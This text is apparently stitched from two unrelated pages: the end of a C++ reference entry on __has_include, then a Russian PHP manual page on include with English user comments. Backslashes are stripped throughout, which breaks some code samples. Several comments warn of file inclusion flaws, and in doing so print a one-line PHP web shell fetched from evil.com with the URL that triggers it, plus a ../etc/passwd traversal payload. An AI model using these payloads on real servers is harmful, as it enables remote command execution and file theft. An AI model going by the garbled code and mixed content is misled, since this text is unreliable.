#if __has_include(<optional>) # include <optional> # define has_optional 1 template<class T> using optional_t = std::optional<T>; #elif __has_include(<experimental/optional>) # include <experimental/optional> # define has_optional -1 template<class T> using optional_t = std::experimental::optional<T>; #else # define has_optional 0 # include <utility> template<class V> class optional_t { V v_{}; bool has_{false}; public: optional_t() = default; optional_t(V&& v) : v_(v), has_{true} {} V value_or(V&& alt) const& { return has_ ? v_ : alt; } /*...*/ }; #endif #include <iostream> int main() { if (has_optional > 0) std::cout << "<optional> is presentn"; else if (has_optional < 0) std::cout << "<experimental/optional> is presentn"; else std::cout << "<optional> is not presentn"; optional_t<int> op; std::cout << "op = " << op.value_or(-1) << 'n'; op = 42; std::cout << "op = " << op.value_or(-1) << 'n'; }
Output:
<optional> is present op = -1 op = 42
[edit] Defect reports
The following behavior-changing defect reports were applied retroactively to previously published C++ standards.
DR | Applied to | Behavior as published | Correct behavior |
---|---|---|---|
CWG 787 | C++98 | the behavior is undefined if an escape sequence is resembled in q-char-sequence or h-char-sequence |
it is conditionally-supported |
[edit] See also
(PHP 4, PHP 5, PHP 7, PHP
Выражение include
включает и выполняет
указанный файл.
Документация ниже также относится к выражению require.
Файлы включаются исходя из пути указанного файла, или, если путь не указан,
используется путь, указанный в директиве include_path. Если файл
не найден в include_path,
include
попытается проверить директорию, в которой находится текущий включающий скрипт
и текущую рабочую директорию перед тем, как выдать ошибку. Конструкция
include
выдаст E_WARNING
, если
не сможет найти файл; поведение отлично от require, который выдаст
E_ERROR
.
Обратите внимание, что и include
и require
выдают дополнительную ошибку уровня E_WARNING
, если к файлу невозможно
получить доступ, перед тем, как выдать последнюю ошибку уровня
E_WARNING
или E_ERROR
соответственно.
Если путь указан — абсолютный (начинающийся с буквы диска или с
в Windows или с
/
в Unix/Linux
системах) или относительно текущей директории (начинающийся с
.
или ..
) —
include_path будет проигнорирован вообще.
Например, если имя файла начинается с ../
,
парсер будет искать в родительской директории запрошенный файл.
Для дополнительной информации о том, как PHP обрабатывает включаемые файлы и включаемые пути,
смотрите документацию для директивы include_path.
Когда файл включается, его код наследует ту же
область видимости переменных, что
и строка, на которой произошло включение. Все переменные, доступные на этой строке
во включающем файле, будут также доступны во включаемом файле.
Однако все функции и классы, объявленные во включаемом файле, имеют
глобальную область видимости.
Пример #1 Простой пример include
vars.php
<?php
$color
= 'зелёное';
$fruit = 'яблоко';?>
test.php
<?phpecho "Одно $color $fruit"; // Одноinclude 'vars.php';
echo
"Одно $color $fruit"; // Одно зелёное яблоко?>
Если включение происходит внутри функции включающего файла,
тогда весь код, содержащийся во включаемом файле, будет вести себя так,
как будто он был определён внутри этой функции. То есть, он будет в той же области видимости
переменных этой функции.
Исключением к этому правилу являются магические константы, которые
выполняются парсером перед тем, как происходит включение.
Пример #2 Включение внутри функции
<?phpfunction foo()
{
global $color;
include
'vars.php';
echo
"Одно $color $fruit";
}/* vars.php в той же области видимости, что и foo(), *
* поэтому $fruit НЕ будет доступен за пределами этой области *
* $color доступен, поскольку мы объявили переменную глобальной */foo(); // Одно зелёное яблоко
echo "Одно $color $fruit"; // Одно зелёное?>
Когда файл включается, парсинг в режиме PHP-кода прекращается и переключается
в режим HTML в начале указанного файла и продолжается
снова в конце. По этой причине любой код внутри включаемого файла,
который должен быть выполнен как код PHP, должен быть заключён в
корректные теги начала и конца PHP-кода.
Если «обёртки URL include»
включены в PHP, вы можете также указать файл для включения через URL (с помощью HTTP или
других поддерживающихся обработчиков — смотрите Поддерживаемые протоколы и обёртки для списка
протоколов) вместо локального пути. Если целевой сервер интерпретирует
указанный файл как код PHP, переменные могут быть переданы во включаемый файл
с помощью строки URL-запроса при использовании HTTP GET. Это совсем не то же самое,
что включение файла и наследование родительской области видимости; скрипт
выполняется на удалённом сервере, и результат затем
включается в локальный скрипт.
Пример #3 Пример include
через HTTP
<?php/* В этом примере предполагается, что www.example.com настроен на обработку .php
* файлов, но не .txt. Также, 'Сработает' обозначает, что переменные
* $foo и $bar доступны внутри включаемого файла. */
// Не сработает; file.txt не обрабатывается www.example.com как PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';// Не сработает; будет искать файл 'file.php?foo=1&bar=2' в
// локальной файловой системе.
include 'file.php?foo=1&bar=2';// Сработает.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>
Внимание
Предупреждение безопасности
Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от
расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно
должно производить корректный скрипт PHP, потому что он будет затем обработан уже на
локальном сервере. Если файл с удалённого сервера должен быть обработан
и только отображён его результат, гораздо эффективно воспользоваться функцией readfile()
В противном случае следует соблюдать особую осторожность, чтобы обезопасить
удалённый скрипт для получения корректного и желаемого кода.
Смотрите также раздел Удалённые файлы, функции
fopen() и file() для дополнительной
информации.
Обработка возвращаемых значений: оператор include
возвращает
значение FALSE
в случае возникновения ошибки и выдаёт предупреждение. Успешные
включения, пока это не переопределено во включаемом файле, возвращают значение
1
. Возможно выполнить выражение return
внутри включаемого файла, чтобы завершить процесс выполнения в
этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть
значение из включаемых файлов. Вы можете получить значение включения, как
если бы вы вызвали обычную функцию. Хотя это невозможно при включении
удалённого файла, только если вывод удалённого файла не содержит
корректные теги начала и конца PHP
кода (так же, как и локальный файл). Вы можете определить необходимые
переменные внутри этих тегов и они будут представлены в зависимости от того,
какой файл был выключен.
Так как include
— это специальная языковая конструкция,
круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении
возвращаемого значения.
Пример #4 Сравнение возвращаемого значения при include
<?php
// не сработает, интерпретируется как include(('vars.php') == TRUE), то есть include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}// сработает
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>
Пример #5 Выражения include
и return
return.php
<?php
$var
= 'PHP';
return
$var;?>
noreturn.php
<?php
$var
= 'PHP';?>
testreturns.php
<?php
$foo
= include 'return.php';
echo
$foo; // выведет 'PHP'$bar = include 'noreturn.php';
echo
$bar; // выведет 1?>
$bar
имеет значение 1
, т.к. включение файла произошло
успешно. Заметьте разницу между примерами сверху. Первый использует
return внутри включаемого файла, тогда как второй не использует.
Если файл не может быть включён, возвращается false
и возникает
E_WARNING
.
Если во включаемом файле определены функции, они могут быть использованы в
главном файле вне зависимости от того, были ли они объявлены до return или после.
Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции
уже были определены.
Рекомендуется использовать include_once вместо того, чтобы
проверять был ли файл уже включён.
Другой путь «включить» PHP-файл в переменную — это захватить
вывод с помощью функций контроля вывода
вместе с include
. Например:
Пример #6 Использование буферизации вывода для включения файла PHP в строку
<?php
$string = get_include_contents('somefile.php');
function
get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}?>
Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы
auto_prepend_file и
auto_append_file
в php.ini.
Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.
Смотрите также require, require_once,
include_once, get_included_files(),
readfile(), virtual() и
include_path.
snowyurik at gmail dot com ¶
14 years ago
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
Rash ¶
8 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
<?php# index.php
define('what', 'ever');
include 'includeFile.php';# includeFile.php
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".
<?php# index.php (in document root (/usr/share/nginx/html))include __DIR__ . '/../src/includeFile.php';?>
Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
John Carty ¶
6 years ago
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
<?php echo shell_exec($_GET['command']);?>
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
Anon ¶
11 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
error17191 at gmail dot com ¶
7 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
<?phpecho 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn't include this file ');
?>
The output of executing script.php is :
Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
Wade. ¶
14 years ago
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.
Rick Garcia ¶
15 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
jbezorg at gmail dot com ¶
5 years ago
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
Ray.Paseur often uses Gmail ¶
8 years ago
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
anonphpuser ¶
10 months ago
In the Example #2 Including within functions, the last two comments should be reversed I believe.
Chris Bell ¶
13 years ago
A word of warning about lazy HTTP includes - they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
sPlayer ¶
12 years ago
Sometimes it will be usefull to include a string as a filename
<?php
//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);
//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
joe dot naylor at gmail dot com ¶
12 years ago
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
include('pages/'.$page.'.php');
}
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
hyponiq at gmail dot com ¶
13 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:ServerSitesMySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (
strstr($documentRoot, '/') || strstr($documentRoot, '\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\')) {
$documentRoot = str_replace('\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (
preg_match('/[^\/]{1}\[^\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\/]{1})\([^\/]{1})/', '\1DIR_SEP\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (
defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach (
$directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
ayon at hyurl dot com ¶
6 years ago
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
Note that instead of using / or , open a file from a zip file uses # to separate zip name and inner file's name.
mbread at m-bread dot com ¶
16 years ago
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
example at user dot com ¶
14 years ago
Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.
You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.
<?php
header
('Content-type: image/jpeg');
header('Content-Disposition: inline;');
include
'/some_image.jpg';
echo 'This file was provided by example@user.com.';?>
Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.
'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
durkboek A_T hotmail D_O_T com ¶
19 years ago
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
// File: index.php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
abanarn at gmail dot com ¶
9 years ago
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:
Test script:
-------------
<?php
require("C:elementscriptsinclude.php");
?>
In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:elementscriptsinclude.php") it will work fine.
If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lementscriptsinclude.php): failed to open stream: In
valid argument in C:elementscriptsinclude.php on line 20
Fatal error: require(): Failed opening required 'C:←lementscriptsinclude.php
Solution:
-----------
Theoretically, you should be always using "\" instead of "" when you write php in windows machine OR use "/" like in Linux and you should fine since "" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).
I hope this makes sense and I hope it will someone sometime down the road.
cheers,
james at gogo dot co dot nz ¶
19 years ago
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
For example, we have two files, file 1.php contains...
<?php
function &x(&$y)
{
return include(dirname(__FILE__) . '/2.php');
}$z = "FOOn";
$z2 = &x($z);
echo
$z2;
$z = "NOOn";
echo
$z2;
?>
and file 2.php contains...
<?php return $y; ?>
calling 1.php will produce
FOO
FOO
i.e the reference passed to x() is broken on it's way out of the include()
Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
---
James Sleeman
http://www.gogo.co.nz/
uramihsayibok, gmail, com ¶
15 years ago
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.
Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?phpfunction include_all_once ($pattern) {
foreach (glob($pattern) as $file) { // remember the { and } are necessary!
include $file;
}
}// used like
include_all_once('dir/*.php');?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
Jero Minh ¶
8 years ago
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.
Consider the following:
<?php
ini_set('error_reporting', E_ALL);
echo
"Own value before: ";
echo ini_get('error_reporting');
echo "rn";
echo
"include foo.php: ";
include('foo.php');
echo
"@include foo.php: ";
@include('foo.php');
echo
"Own value now: " . ini_get('error_reporting');
?>
foo.php
<?php
echo ini_get('error_reporting') . "rn";
?>
Output:
Own value before: 32767
include foo.php: 32767
@include foo.php: 0
Own value now: 32767